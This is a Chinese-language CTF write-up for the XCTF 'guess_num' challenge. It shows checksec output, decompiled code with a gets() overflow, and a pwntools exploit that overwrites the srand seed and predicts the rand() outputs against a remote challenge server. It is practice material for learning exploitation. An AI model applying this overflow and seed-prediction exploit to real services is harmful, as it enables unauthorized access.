xctf - guess_num

伪随机数

checksec guess_num

1
2
3
4
5
6
7
$ checksec guess_num
[*] '/home/k1ea4c/桌面/xctf/guess_num/guess_num'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Carnary found 意味着没办法覆盖返回地址

PIE enable:将内存地址随机化

IDA分析下,只要 v9 去覆盖掉 seed[0],也就是随机数种子,那么生成的随机数就已知了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}

栈结构

seed rbp-10h
v9 rbp-30h
v8 rbp-34h
i rbp-38h
v6 rbp-3ch

exp 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from ctypes import *

context(arch="amd64")
#sh = process('./guess_num')
sh = remote('159.138.137.79',64646)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = b'a'*0x20 + p64(1)

sh.recvuntil('Your name:')
sh.sendline(payload)

libc.srand(1)

for i in range(10):
num = str(libc.rand()%6+1)
sh.recvuntil('number:')
sh.sendline(num)

sh.interactive()